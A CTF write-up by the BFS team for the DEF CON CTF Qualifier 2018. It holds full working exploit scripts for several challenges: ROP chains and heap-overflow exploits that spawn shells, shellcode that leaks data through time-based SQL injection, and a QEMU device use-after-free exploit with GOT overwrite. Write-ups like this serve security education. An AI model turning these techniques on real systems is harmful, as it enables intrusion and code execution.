if __name__ == '__main__': print "start" r.recvuntil("Standing by for your requests\n") r.sendline("HEAD /proc/self/maps\x00" + "A"*0x42) r.recvuntil("Here's your preview:\n") data = r.recvuntil("\n") if "/lib/x86_64-linux-gnu/ld-2" in data: ld_addr = data[:data.find("-")] r.recvuntil("\n") r.recvuntil("\n") data = r.recvuntil("\n") if "r-xp" in data: code = data[:data.find('-')] else: data = r.recvuntil("\n") code = data[:data.find('-')] elif "r-xp" in data: code = data[:data.find('-')] r.recvuntil("\n") r.recvuntil("\n") data = r.recvuntil("\n") ld_addr = data[:data.find("-")] ld_addr = int(ld_addr,16) code = int(code,16) pop_rdi = 0x00000000000010b3 + code pop_rsi_1 = 0x00000000000010b1 + code puts_got = code + 0x202020 puts_plt = code + 0x0009E0 read_plt = code + 0x000A60 pop_rsp_3 = code + 0x00000000000010ad print "code =", hex(code) print "ld_addr =" ,hex(ld_addr) canary = (code/0x1000 + ld_addr/0x1000 * 0x10000000)*0x100 print "canary =" , hex(canary) raw_input("@") r.sendline("A"*88 + p64(canary) +"A"*8+ p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(pop_rdi) + p64(0) + p64(pop_rsi_1) + p64(code + 0x0202800) + p64(0) + p64(read_plt) + p64(pop_rsp_3) + p64(code + 0x0202800)) r.recvuntil("Malformed request\n")
puts = u64(r.recv(6).ljust(8,"\x00")) libc.address = puts - libc.symbols['puts'] print "libc.address =" , hex(libc.address) r.sendline("A"*24 + p64(pop_rdi) + p64(code + 0x0202800+0x30) + p64(libc.symbols['system']) + "/bin/sh\x00")
r.interactive() ```
|
# DEF CON CTF Qualifier 2018
Written by BFS
BFS consists of four CTF teams form Taiwan: Balsn, Bamboofox, DoubleSigma, KerKerYuan.
**It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180512-defconctfqual/) of this writeup.**
- [DEF CON CTF Qualifier 2018](#def-con-ctf-qualifier-2018) - [Amuse Bouche](#amuse-bouche) - [ELF Crumble](#elf-crumble) - [You Already Know - warmup](#you-already-know---warmup) - [Easy Pisy - crypto, web](#easy-pisy---crypto-web) - [babypwn1805 - pwn](#babypwn1805---pwn) - [sbva - Web](#sbva---web) - [Appetizers](#appetizers) - [It's-a me!](#its-a-me) - [shellql](#shellql) - [flagsifier - Reverse](#flagsifier---reverse) - [Behavior](#behavior) - [Note Oriented Programming](#note-oriented-programming) - [From The Grill](#from-the-grill) - [elastic cloud compute (memory) corruption](#elastic-cloud-compute-memory-corruption) - [Race Wars](#race-wars) - [Say Hi!](#say-hi) - [exzendtential-crisis (unsolved)](#exzendtential-crisis-unsolved) - [Guest Chefs](#guest-chefs) - [PHP Eval White-List](#php-eval-white-list) - [ghettohackers: Throwback](#ghettohackers-throwback) - [ddtek: Preview](#ddtek-preview) - [reverse](#reverse) - [exploit](#exploit)
## Amuse Bouche
### ELF CrumbleOriginal binary in range 0x05ad ~ 0x08d3 is filled with `X`. Search through all 8! permutation of fragments to get the flag.
### You Already Know - warmup* Open the problem -> F12 -> Network -> Reopen the problem -> See the flag. `OOO{Sometimes, the answer is just staring you in the face. We have all been there}`
### Easy Pisy - crypto, web
- Service
* First service : Server will Recognized pdf input via OCR and sign `(by openssl_sign($data, $signature, $privkey)`, but it will reject to sign on EXECUTE command)
* Second one : Give the signed value and pdf, this service will execute the command(extracted by ocr) if the signed verify.
- We found that this function will `sha1(data)` before signing.
Therefore, draw two command on picture,and put them into the pdf, Google released last year, to get two pdf with sha1-collision.
1. send the picutre 1 (`without EXECUTE`) to first service to `get the signature`
2. pass this signature and sha1-collision pdf ( with `EXECUTE cat<flag`) to get the flag.
[python script](https://github.com/sonickun/sha1-collider/blob/master/collider.py)
### babypwn1805 - pwn* Overwrite the pointer of program name, and trigger `SSP` -> leak information.* Get serveral `libc`.* Overwite `GOT read` with `onegadget` -> with probability 1/16 (correct libc).* `/opt/ctf/babypwn/home/flag`.* `OOO{to_know_the_libc_you_must_become_the_libc}`
```python=#!/usr/bin/env pythonfrom pwn import *import sysimport structimport hashlibimport randomfrom threading import Timer
# OOO{to_know_the_libc_you_must_become_the_libc}
def pow_hash(challenge, solution): return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()
def check_pow(challenge, n, solution): h = pow_hash(challenge, solution) return (int(h, 16) % (2**n)) == 0
def solve_pow(challenge, n): candidate = 0 while True: if check_pow(challenge, n, candidate): return candidate candidate += 1
def hit(): cmd = 'id;LD_PRELOAD='';' cmd += 'cat /opt/ctf/babypwn/home/flag;' cmd += 'ls -al /opt/ctf/babypwn/home/;' cmd += 'source /opt/ctf/babypwn/flag.txt 2>&1;' #cmd += 'python -c \'import pty; pty.spawn("/bin/bash")\'' y.sendline( cmd ) print y.recv( 2048 )
host , port = 'e4771e24.quals2018.oooverflow.io' , 31337y = remote( host , port )
y.recvuntil( ': ' )challenge = y.recvline().strip()y.recvuntil( ': ' )n = int( y.recvline() )y.sendlineafter( ':' , str( solve_pow(challenge, n) ) )
success( 'Go' )
t = 0.3y.recvuntil( 'Go\n' )
for i in xrange( 0x10000 ): y.send( p64( 0xffffffffffffffc8 ) ) p = 0xae77 y.send( p16( p ) ) t = Timer(1.0, hit) t.start() y.recvuntil( 'Go' , timeout=1 ) t.cancel()```
### sbva - Web
This is one of the easiest challenges in the comptition.
First, we are given the admin's username and password to login, but the server will return `Incompatible browser detected`. How does the server derect our browser? A quick guess is through the `User-Agent` header. So what if the header does not contain the user agent string?
``` sh$ curl 'http://0da57cd5.quals2018.oooverflow.io/login.php' -d '[email protected]&password=admin' -H 'User-Agent:'`
<br />Notice: Undefined index: HTTP_USER_AGENT in /var/www/html/browsertest.php on line 3
<html> <style scoped> h1 {color:red;} p {color:blue;} </style> <video id="v" autoplay> </video> <script> if (navigator.battery.charging) { console.log("Device is charging.") } </script></html>```
A PHP error occurs above, so the server actually infers our browser through the user agent header. However, there are various user-agent. It's sorts of silly to try each of them since the server might detect the version number as well.
In order to reduce possible user agent, [navigator.battery](https://developer.mozilla.org/en-US/docs/Web/API/Navigator/battery) in javascript is an important clue. It seems that only Chrome and Firefox support this.
Let's try Firefox with different version number first. The Firefox user agent spcification is [here](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox), though I'm just blindly trying the possibile version number without following the specification.
```python#!/usr/bin/env python3# Python 3.6.5import requestsfrom itertools import product
s = requests.session() for i, j in product(range(0, 6), range(0, 51)): agent = f'Mozilla/{i}.0 (Windows NT 10.0; WOW64; rv:{j}.0) Gecko/20100101 Firefox/{j}.0' headers={'User-Agent': agent} r = s.post('http://0da57cd5.quals2018.oooverflow.io/login.php', data=dict(username='[email protected]', password='admin'), headers=headers) print(r.text, i, j)```
Surprisingly, we get the flag when the user agent is `Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0`.
Flag: `OOO{0ld@dm1nbr0wser1sth30nlyw@y}`
## Appetizers
### It's-a me!
* When odering pizza, Mario checks whether the pineapple Emoji Unicode (\xF0\x9F\x8D\x8D) exists for each ingridient, so we can split the Unicode into two ingridients ('\xF0\x90\xF0\x9F' and '\x8D\x8D') to bypass Mario's check* After cooking a pizza with fake pinapple (’\xF0\x90\xF0\x9F’ and ‘\x8D\x8D’), it will trigger a heap overflow vulnerability.* By ordering and cooking some pizzas between the ordering and cooking of the fake pinapple pizza, we can make the heap overflow overwrite the pointer to the ingredient. Since at first we don't have any addresses and the read function appends null byte at the end, we make it so that the pointer to the ingredient with LSB overflowed by 0x00 points to a heap address. Cook the pizza and we leak heap address.* We use the same way to leak libc address, but since now we have heap address, we don't have to partial overwrite the pointer to the ingridient with null byte anymore.* The way to hijack control flow is similar too. There is a pointer to a function pointer on each pizza cooked, which is call when they are admired. We overflow that with one_gadget.* `OOO{cr1m1n4l5_5h0uld_n07_b3_r3w4rd3d_w17h_fl4gs}`
```python#!/usr/bin/env python2
from pwn import *from IPython import embedfrom subprocess import check_outputimport re
context.arch = 'amd64'
r = remote('83b1db91.quals2018.oooverflow.io', 31337)
def PoW(): r.recvuntil('Challenge: ') x = r.recvline().strip() r.recvuntil('n: ') xx = r.recvline().strip() x = subprocess.check_output(['./pow.py', x, xx]) xx = re.findall('Solution: (.*) ->', x)[0] r.sendlineafter('Solution:', xx)
PoW()
def new(name): r.sendlineafter('Choice:', 'N') r.sendlineafter('name?', name)
def login(name): r.sendlineafter('Choice:', 'L') r.sendlineafter('name?', name)
def order(pn, ign, igs): r.sendlineafter('Choice:', 'O') r.sendlineafter('pizzas?', str(pn)) for i in range(pn): r.sendlineafter('ingredients?', str(ign[i])) for j in range(ign[i]): r.sendlineafter('ingridient', flat(igs[i][j]))
def cook(decl): r.sendlineafter('Choice:', 'C') r.sendlineafter('explain', decl)
def admire(): r.sendlineafter('Choice:', 'A')
def leave(): r.sendlineafter('Choice:', 'L')
def please(payload): r.sendlineafter('Choice:', 'P') r.sendlineafter('yourself:', payload)
pineapple = 0x8d8d9ff0tomato = 0x858d9ff0chicken = 0x94909ff0banana = 0x8c8d9ff0poo = 0xa9929ff0
new('A')order(1, [2], [['\xf0\x90\xf0\x9f', '\x8d\x8d']])leave()
new('B'*0x30)order(1, [1], [[tomato]])leave()
login('B'*0x30)cook('a'*290)leave()
new('C'*0x50)n = 4order(1, [n], [['a'*20]*n])leave()
login('A')cook('a')please('C'*32)
login('C'*0x50)cook('a')x = r.recvuntil('USER MENU')xx = re.findall('BadPizza: (.*)aaaaaaaaaaaaaaaaaaaaa', x)[0]heap = u64(xx.ljust(8, '\x00'))-0x11e30print 'heap:', hex(heap)
# exaust heapleave()new('D')order(1, [2], [['\xf0\x90\xf0\x9f', '\x8d\x8d']])leave()for i in range(9): new(chr(0x45+i)) order(1, [1], [[tomato]]) leave()
new('N')order(1, [2], [['\xf0\x90\xf0\x9f', '\x8d\x8d']])leave()
new('O'*0x30)n = 4order(1, [n], [['a'*16]*n])leave()
login('M')cook('a'*290)leave()
login('N')cook('a')#raw_input("@3")please('C'*24+flat( 0x91, heap+0x132c8, 0x10, 0x10, 0, heap+0x132c8,)+'\x10')
login('O'*0x30)cook('a')x = r.recvuntil('USER MENU')xx = re.findall('BadPizza: (.*)aaaaaaaaaaaaaaaaaaaaa', x)[0][:6]libc = u64(xx.ljust(8, '\x00'))-0x3c4b78print 'libc:', hex(libc)system = libc+0x45390magic = libc+0xf1147leave()
login('D')cook('a')#raw_input("@2")please(flat( [0]*3, 0x21, heap+0x138f0, 0, 0, 0x41, heap+0x138f0+0x10, heap+0x13930, magic,))login('O'*0x30)admire()
r.interactive()
```
### shellql
* We can upload our shellcode and it will be executed* They set prctl(22, 1LL); so we can only trigger `read` `write` `exit`* We can communicate with mysql via fd 4* According to [this](https://dev.mysql.com/doc/internals/en/com-query.html), we can forge a correct mysql packet* However, we cannot read from mysql* Time to use time-based attack`SELECT 1 from flag where (select substring(flag,1,4) from flag) = "OOO{" and SLEEP(10);`
* The exploit script:
```python# coding: utf-8from pwn import *import requestsimport stringimport hashlibcontext.arch='amd64'def mdd5(ss): print ss a=hashlib.md5() a.update(ss) return a.hexdigest()def run(code, timeout=1): s = asm(code) assert( '\0' not in s and len(s) < 1000) try: req = requests.post('http://b9d6d408.quals2018.oooverflow.io/cgi-bin/index.php', data={ 'shell': s }, timeout=timeout) except requests.exceptions.ReadTimeout: print ('Timeout') return 1 else: return 0
def qqq(payload): lenn=p32(len(payload)+1)[0] pp=lenn+'\x00\x00\x00\x03'+payload a=run(shellcraft.write(4, pp, len(pp)) + 'xor rax, rax;' + shellcraft.read(4, 'esp', 4) + 'inc rax; cmp rax, 1; jge .+0; ret', timeout=4) return a
flag=""for i in range(70): for j in "y SQL"+string.printable: if qqq('SELECT 1 from flag where (select substring(flag,1,'+str(len(flag)+1)+') from flag) = "'+flag+j+'" and SLEEP(10);') == 1: flag+=j print flag break
flag2="OOO{"for i in range(4,70): if qqq('SELECT 1 from flag where (select md5(substring(flag,'+str(i)+',1)) from flag) = "'+mdd5(flag[i].upper())+'" and SLEEP(10);') == 1: flag2+=flag[i].upper() else: flag2+=flag[i].lower() print flag2
## flag is OOO{shellcode and webshell is old news, get with the times my friend!}```
### flagsifier - Reverse* Part 1 ##### Behavior * Input is composed of 38 28x28 handwritten English characters. * Random combination of characters will be predicted as class 3. * Repeat a character 38 times will be predicted as class 14~39, which is class A~Z. * Using gradient ascent on input image will not produce readable picture. When we add a constraint that all 38 characters should be the same, class 14~39 can generate input with score 1, but failed on class 1~13. Implies that class 1~13 is consists of multiple characters. * Start with random combination of characters, we use Simulated Annealing to replace characters in input image. We can generate input image for each class with very high score. The images is not unique, but will be similar to ground truth. * Class 0 starts with a lot of `O` that isn't like a flag. * Class 1 is `OOOTHISISA.....MESSAGETOWASTEYOURTIME` which is a fake flag. * Class 2 starts with `OOO`. * Class 3~13 doesn't start with `OOO`. * We guessed Class 2 is true flag, so we generate a lot of possible input images to get probabilities of each character at each position. * Code:
```python#!/usr/bin/python3import sys
dim = int(sys.argv[1])
flag = '......................................'
reset = False # Change to False when known part is long enough# flag = 'OOOOOOOOOOOOOOOOI.....................' # dim = 0# flag = 'OOOOTHISISA.....MESSAGETOWASTEYOURTIME' # dim = 1flag = 'OOO.............INTELLIGENCEISREQUIRED' # dim = 2
import numpy as npfrom PIL import Imageimport osfrom tqdm import tqdm, trangeimport randomfrom keras.models import load_model, Model
model = load_model('model.h5')model = Model(input=model.input, output=model.layers[-2].output)
data = [np.asarray(Image.open('sample_%d.png' % i)).reshape(28, 1064).astype(np.float) for i in range(10)]data = [im for d in data for im in np.split(d, 38, axis=1)]char = ''.join([ 'RUNNEISOSTRICHESOWNINGMUSSEDPURIMSCIUI', 'MOLDERINGIINTELSDEDICINGCOYNESSDEFIECT', 'AMADOFIFESINSTIIIINGGREEDIIVDISIOCATIN', 'HAMIETSENSITIZINGNARRATIVERECAPTURINGU', 'EIECTROENCEPHAIOGRAMSPALATECONDOIESPEN', 'SCHWINNUFAMANAGEABLECORKSSEMICIRCIESSH', 'BENEDICTTURGIDITYDSYCHESPHANTASMAGORIA', 'TRUINGAIKALOIDSQUEILRETROFITBIEARIESTW', 'KINGFISHERCOMMONERSUERIFIESHORNETAUSTI', 'LIQUORHEMSTITCHESRESPITEACORNSGOALREDI',])data = list(zip(data, char))
def softmax(x): """Compute softmax values for each sets of scores in x.""" e_x = np.exp(x - np.max(x)) return e_x / e_x.sum()
for z in trange(100): if reset or z == 0: img, text = zip(*random.sample(data, 38)) img = np.concatenate(img, 1).reshape(1, 28, 1064, 1) text = list(text) r = model.predict([img])[0] score = r[dim] bar = trange(1000) bar.desc = '%s: %.1f ( %4d )' % (''.join(text), softmax(r)[dim], score) for i in bar: cur = img.copy() while True: idx = random.randrange(0, 38) im, c = random.sample(data, 1)[0] if text[idx] != flag[idx] or flag[idx] == c: break cur[0,:, idx*28:(idx+1)*28,0] = im r = model.predict([cur])[0] s = r[dim] if ( text[idx] != flag[idx] and flag[idx] == c ) or s > score or random.random() < (100/(i+100 + z *10)) ** 4: text[idx] = c bar.desc = '%s: %.1f ( %4d )' % (''.join(text), softmax(r)[dim], score) score = s img = cur tqdm.write(''.join(text)) bar.close()```
* Part 2 * Use dictionary and trie to find all the possible sentences. * Dictionary: https://raw.githubusercontent.com/first20hours/google-10000-english/master/google-10000-english.txt * Remember to remove the useless words that length is in range 1~3. * Code:
```C++ #include<bits/stdc++.h> #define f first #define s second using namespace std; //typedef pair<int,int>par; typedef pair<double,double>par; int nod[1000005][26],id=2; bool ok[1000005]; string ans; vector<int>ve[38]; void F(int nw,int now){ if(nw==38){ if(now==1)cout<<ans<<endl; return ; } for(int x:ve[nw]){ if(!nod[now][x])continue; ans.push_back('A'+x); F(nw+1,nod[now][x]); if(ok[nod[now][x]]){ ans.push_back(' '); F(nw+1,1); ans.pop_back(); } ans.pop_back(); } } int main(){ string s; int count=0; while(cin>>s){ if(s=="0")break; if(++count>1000&&s.length()<=3)continue; int now=1; for(char &c:s){ c|=32; if(!nod[now][c-'a']) nod[now][c-'a']=id++; now=nod[now][c-'a']; } ok[now]=1; } while(cin>>s){ if(s=="0")break; for(char &c:s) c|=32; for(int i=0;i<38;i++) ve[i].push_back(s[i]-'a'); } for(int i=0;i<38;i++) sort(ve[i].begin(),ve[i].end()), ve[i].resize(unique(ve[i].begin(),ve[i].end())-ve[i].begin()); F(0,1); //for(int i=0;i<38;i++) return 0; } ```
* input
``` [The Dictionary] 0 OOOTOYEUUTHTNTICINTELLIGENCEISREQUIRED OOOTOYEGUTHTNTICINTELLIGENCEISREQUIRED OOOIOYCUUTUCNTICINTELLIGENCEISREQUIRED OOOSOYEUUCUTNTICINTELLIGENCEISREQUIRED OOOTOYCGLCHENTICINTELLIGENCEISREQUIRED OOOTOYCUUCUCNTUCINTELLIGENCEISREQUIRED OOOIOYEULTUTNTICINTELLIGENCEISREQUIRED OOOSOYCULTUCNTICINTELLIGENCEISREQUIRED OOOTOYEAUTUTWCICINTELLIGENCEISREQUIRED OOOSOYEOUTUTNTICINTELLIGENCEISREQUIRED OOOSOYCGHTUENTICINTELLIGENCEISREQUIRED OOOTOYCGLTYCNTICINTELLIGENCEISREQUIRED OOOTOYEUUTUTNTICINTELLIGENCEISREQUIRED OOOTOYEAUTUTNCICINTELLIGENCEISREQUIRED OOOSOYCUUTHCNTIOINTELLIGENCEISREQUIRED OOOSOORONTNCNTIOINTELLIGENCEISREQUIRED OOOSOMCSHTGCWTICINTELLIGENCEISREQUIRED OOOTOMEOGTSTNTITINTELLIGENCEISREQUIRED OOOIOOEHUTUTNTITINTELLIGENCEISREQUIRED OOOINOEUUTATHTICINTELLIGENCEISREQUIRED OOOTCMCSNSATNTICINTELLIGENCEISREQUIRED OOOTGWRSUTNCNTICINTELLIGENCEISREQUIRED OOOSOQEAUIUCWSICINTELLIGENCEISREQUIRED OOOTOOECHIUCNTIGINTELLIGENCEISREQUIRED OOOTOWEGHSOTHTIEINTELLIGENCEISREQUIRED OOOSOMEGNTOENTILINTELLIGENCEISREQUIRED OOOSCOCGNTHTNTILINTELLIGENCEISREQUIRED OOOSONEGNTNCNTICINTELLIGENCEISREQUIRED OOOSCOCYNTOTUTICINTELLIGENCEISREQUIRED OOOSDUEONCOTLTIOINTELLIGENCEISREQUIRED OOOTDUCONTNTLTIDINTELLIGENCEISREQUIRED OOOTCMCGNCNTNTITINTELLIGENCEISREQUIRED OOOTQYFGNTATNTUEINTELLIGENCEISREQUIRED OOOSDUECLTUTNTICINTELLIGENCEISREQUIRED OOOTOWCUNTUTNTILINTELIIGENCEISREOUIRED OOOTOMSGUTHENTICINTELLIGENCEISREOUIRED OOOTOUTGLTOENCUCINTELLIGENCEISREQUIRED OOOTOUEUUTNENTICINTELLIGENCEISREQUIRED OOOTOMEGUTOENCICINTELLIGENCEISREQUIRED OOOTONEGLTUCNTIOINTELLIGENCEISREQUIRED OOOTOOEANTSENTICINTELLIGENCEISREQUIRED OOOTOUEUUTUELIICINTELLIGENCEISREQUIRED OOOTOMCAUTYENCICINTELLIGENCEISREQUIRED OOOTOYCCNTYTWTICINTELLIGENCEISREQUIRED OOOTOOCANCUTNTICINTELLIGENCEISREQUIRED OOOTOMEINIHENTICINTELLIGENCEISREQUIRED OOOTOYEUNTYTNTICINTELLIGENCEISREQUIRED OOOTOOEUUTHCNTICINTELLIGENCEISREQUIRED OOOTOMCULTUTNTIOINTELLIGENCEISREQUIRED OOOTOMEYNTUENTICINTELLIGENCEISREQUIRED OOOYOMEUMTURMIJCINTELLIGENCEISREQUIRED OOOIDMEUMTURWYJCINTELLIGENCEISREQUIRED OOOLDMEUMTURWYLCINTELLIGENCEISREQUIRED 0 ``` * Flag: `OOOSOMEAUTHENTICINTELLIGENCEISREQUIRED`
### Note Oriented Programming* Setup the value on the stack and call sys_sigreturn* After that, eax = 0x3 ebx=0x0 ecx=0x6060654f edx=0x4f4f4f4f cs=0x23 ss=0x2b ds=0x2b* Now eip is 0x60606565 pointer to "int 0x80" to call sys_read* Then, write shellcode on the 0x6060654f to get shell
```python=from __future__ import print_functionimport sysimport structimport hashlibfrom pwn import *# inspired by C3CTF's POW
table = ['A' , 'A#' , 'B' , 'C' , 'C#' , 'D' , 'D#' , 'E' , 'F' , 'F#' , 'G' , 'G#']
def val(x): a = table.index(x[:-1])*1.0 b = float(x[-1]) return (2.0**(b+a/12.0))*27.5
cmd = ["F9","G0"]*0xecmd += ["G9","G0"]*0x40cmd += ["A2","G0","A0","G0"]cmd += ["G0","G0"]*0xbcmd += ["A2","F2","A4","A9","E0","A4","G9","E0"]cmd += ["G0","G0"]cmd += ["A2","F2","A4","A9","E0","A4","G9","E0"]cmd += ["G0","G0"]*0x17cmd += ["G9","G0"]*0x6cmd += ["A2","F8"] cmd += ["A0","G0"]cmd += ["A4","A9","E0","A4","D9","E0"]cmd += ["A0","G1"] cmd += ["A0","G2"] cmd += ["A4","A9","E0","A4","D9","E0","A2","F8"]cmd += ["A4","A9","E0","A4","B9","E0"] cmd += ["A0","G3"] cmd += ["A4","A9","E0","A4","B9","E0"] cmd += ["A0","G4"] cmd += ["A0","G5"] cmd += ["A0","G6"] cmd += ["G9","G0"]*6cmd += ["G0","G0"]*8 cmd += ["G9","G0"]cmd += ["A2","F8"]cmd += ["A0","G0"]cmd += ["A0","G1"] cmd += ["A4","A9","E0","A4","D9","E0"] cmd += ["A0","G2"] cmd += ["A0","G3"]cmd += ["A4","A9","E0","A4","D9","E0","A2","F9","A2","F2","A4","A9","E0","A4","F9","E0"]cmd += ["A0","G4"]cmd += ["A2","F9","A2","F2","A4","A9","E0","A4","F9","E0","A2","F8"] cmd += ["G9","G0"]*4cmd += ["G0","G0"]*0xbcmd += ["A2","F2","A4","A9","E0","A4","G9","E0"]cmd += ["G0","G0"] cmd += ["A2","F2","A4","A9","E0","A4","G9","E0"] cmd += ["G0","G0"]*0xccmd += ["F9","G0"]*0x7 cmd += ["A2","F8","A4","A9","E0","A4","B9","E0","G2","G0"]cmd += ["D9","G0"]*(0x70-0x1f)+["D#7"]*0x1f
def pow_hash(challenge, solution): return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()
def check_pow(challenge, n, solution): h = pow_hash(challenge, solution) return (int(h, 16) % (2**n)) == 0
def solve_pow(challenge, n): candidate = 0 while True: if check_pow(challenge, n, candidate): return candidate candidate += 1
if __name__ == '__main__': r = remote("4e6b5b46.quals2018.oooverflow.io",31337) r.recvuntil("Challenge: ") challenge = r.recvline()[:-1] r.recvuntil("n: ") n = int(r.recvline()[:-1]) print('Solving challenge: "{}", n: {}'.format(challenge, n))
solution = solve_pow(challenge, n) print('Solution: {} -> {}'.format(solution, pow_hash(challenge, solution))) r.sendlineafter("Solution:",str(solution))
for c in cmd: r.send(p16(val(c)))
r.send(p16(0x0))
payload = "\x90"*0x18 payload += asm(""" mov esp,0x40404a00 push 0x0068732f push 0x6e69622f mov eax,0xb mov ebx,esp xor ecx,ecx xor edx,edx int 0x80 """) r.send(payload) r.interactive()
```## From The Grill
### elastic cloud compute (memory) corruption
* It will use qemu-system-x86_64 to boot a vm* It tells us, we need to do something with PCI device* Then I found this [writeup](https://kitctf.de/writeups/hitb2017/babyqemu)* Now we know that we need to exploit via `/sys/devices/pci0000:00/0000:00:04.0/resource0`* Decompile qemu-system-x86_64 and look for mmio read write function.* I only leveraged write funtion* There is a buffer which is located at `0x1317940` and three kinds of operations* You can `malloc` `free` `write` some chunks. And all the chunk will be on that buffer* I list the write function here:
```cvoid __fastcall OOO_mmio_write(__int64 a1, __int64 offset, __int64 value, unsigned int a4){ unsigned int v4; // eax@1 char n[12]; // [sp+4h] [bp-3Ch]@1 __int64 v6; // [sp+10h] [bp-30h]@1 __int64 v7; // [sp+18h] [bp-28h]@1 __int16 v8; // [sp+22h] [bp-1Eh]@11 int i; // [sp+24h] [bp-1Ch]@5 unsigned int v10; // [sp+28h] [bp-18h]@1 unsigned int v11; // [sp+2Ch] [bp-14h]@4 unsigned int v12; // [sp+34h] [bp-Ch]@11 __int64 v13; // [sp+38h] [bp-8h]@1
v7 = a1; v6 = offset; *(_QWORD *)&n[4] = value; v13 = a1; v10 = ((unsigned int)a2 & 0xF00000) >> 20; v4 = ((unsigned int)a2 & 0xF00000) >> 20; if ( v4 == 1 ) { free(*(&qword_1317940 + (((unsigned int)v6 & 0xF0000) >> 16))); } else if ( v4 == 2 ) { v12 = ((unsigned int)v6 & 0xF0000) >> 16; v8 = v6; memcpy((char *)*(&qword_1317940 + (signed int)v12) + (signed __int16)v6, &n[4], a4); } else if ( !v4 ) { v11 = ((unsigned int)v6 & 0xF0000) >> 16; if ( v11 == 15 ) { for ( i = 0; i <= 14; ++i ) *(&qword_1317940 + i) = malloc(8LL * *(_QWORD *)&n[4]); } else { *(&qword_1317940 + (signed int)v11) = malloc(8LL * *(_QWORD *)&n[4]); } }}```
* The operation will be determined by IO offset. When your write offset is 0xabXXXX. * If a==1, then it will trigger free operation. * If a==2, then it will trigger write operation.* Otherwise, it will trigger malloc.* And b indicate the chunk offset on 0x1317940* The value will be the chunk size or the value written on the chunk* XXXX will be the offset on the chunk* There is a UAF vulnerabilty!! You can overwrite freed chunk to launch fastbin attack.* We can forge a fake chunk on the 0x1317940. then we can write 0x1317940. It also means that we have an arbitrary write.* We can overwrite GOT to hijack control flow* There is a magic function which is located at 0x6e65f9. It will triger system("cat ./flag")* Use GOT-hijacking then you can run that magic function and get the flag* Unfortunately we cannot upload a binary on remote vm, becasue the vm has no network connection. We can base64 encode our binary and send it to the vm. But the binary needs to be small enough, or you cannot send the whole binary because of network conditon.* So I write some shellcode for exploit.* The shellcode:
```nasmsection .data msg db "/sys/devices/pci0000:00/0000:00:04.0/resource0"section .text global _start_start: mov rax, 2 mov rdi, msg mov rsi, 2 mov rdx, 0 syscall mov rdi, 0 mov rsi, 0x1000000 mov rdx, 3 mov r10, 1 mov r8, rax mov r9, 0 mov rax,9 syscall mov rcx, rax mov WORD [rax+0x20000],0xc # malloc a chunk on 0x1317940+0x8*2 mov BYTE [rax+0x120000],0xc # free the chunk on 0x1317940+0x8*2 mov DWORD [rax+0x220000],0x131794d # overwrite the fd on 0x1317940+0x8*2 mov DWORD [rax+0x220004],0x0 # mov BYTE [rax+0x10000],0xc # malloc once mov BYTE [rax+0x10000],0xc # malloc twice , now we have a chunk at 0x131794d mov DWORD [rax+0x210000],0xa0000000 # forge a fake chunk address on 0x1317960 and the address will be free got (0x11301a0) mov DWORD [rax+0x210004],0x11301 # mov DWORD [rax+0x240000],0x6e65f9 # Overwrite free got. The new address will trigger system("cat ./flag") mov DWORD [rax+0x240004],0x0 # mov DWORD [rax+0x120000],0x0 # Trigger free and get the flag !! mov rax, 60 xor rdi, rdi syscall# nasm -felf64 a.asm -o a.o && ld a.o && base64 a.out > shellcode```* And the code to send shellcode:
```pythonimport sysimport structimport hashlibfrom pwn import *
# inspired by C3CTF's POW
def pow_hash(challenge, solution): return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()
def check_pow(challenge, n, solution): h = pow_hash(challenge, solution) return (int(h, 16) % (2**n)) == 0
def solve_pow(challenge, n): candidate = 0 while True: if check_pow(challenge, n, candidate): return candidate candidate += 1
r=remote("11d9f496.quals2018.oooverflow.io",31337)r.recvuntil("Challenge:")cha=r.recvline().strip("\n")r.recvuntil("n:")n=r.recvline().strip("\n")
solution = solve_pow(cha[1:], int(n))
r.sendline(str(solution))r.recvuntil("/ #")f=open("shellcode")for i in f.readlines(): r.sendline('echo "'+i.strip('\n')+'" >> 1234')r.sendline("base64 -d 1234 > bb")r.sendline("chmod +x ./bb")r.sendline("./bb")r.interactive()# The flag is OOO{did you know that the cloud is safe}```
### Race Wars1. The vulnerability exists during the program asks for tire amount; when doing so, we can apply for 0x8000000 tires to cause int overflow (0x8000000*0x20 = 0), and make the program allocate 0-size memory, but the tires struct can still be placed on heap for us to control.2. Use transmission function to overlap the tires struct and transmission struct 3. Use modify_tires functions to set all the attributes of tire as 0xffff4. Use modify_transmission function to get relative address read/write capability of arbitrary memory5. Read heap address and code GOT address to get libc address, then modify exit GOT to one_gadget, call exit, and get shell* code:
```python=from pwn import *import sysimport timeimport randomhost = '2f76febe.quals2018.oooverflow.io'port = 31337
binary = "./racewars"context.binary = binaryelf = ELF(binary)try: libc = ELF("./libc.so.6") log.success("libc load success") system_off = libc.symbols.system log.success("system_off = "+hex(system_off))except: log.failure("libc not found !")
def new(): pass
def edit(): pass
def remove(): pass
def show(start,end): pass r.recvuntil(start) data = r.recvuntil(end)[:-len(end)] return data
if len(sys.argv) == 1: r = process([binary, "0"], env={"LD_LIBRARY_PATH":"."}) #r = remote("127.0.0.1" ,4444)
else: r = remote(host ,port) r.recvuntil("Challenge: ") Challenge = r.recvuntil("\n")[:-1] r.recvuntil("n:") n = r.recvuntil("\n")[:-1] r.recvuntil("Solution:") p = process(["/usr/bin/python", "./pow.py",Challenge ,n ]) print "pow..." p.recvuntil("Solution: ") ans = p.recvuntil(" ")[:-1] r.sendline(ans)
def tires(num): r.recvuntil("E: ") r.sendline("1") r.recvuntil("?\n") r.sendline(str(num))
def chassis(option): r.recvuntil("E: ") r.sendline("2") r.recvuntil("pse\n") r.sendline(str(option))
def engine(): r.recvuntil("E: ") r.sendline("3")
def transmission(option): r.recvuntil("E: ") r.sendline("4") r.recvuntil("? ") r.sendline(str(option))
def modify_tires_w(width): r.recvuntil("E: ") r.sendline("1") r.recvuntil(": ") r.sendline("1") r.recvuntil(": ") r.sendline(str(width))
def modify_tires_a(ratio): r.recvuntil("E: ") r.sendline("1") r.recvuntil(": ") r.sendline("2") r.recvuntil(": ") r.sendline(str(ratio))
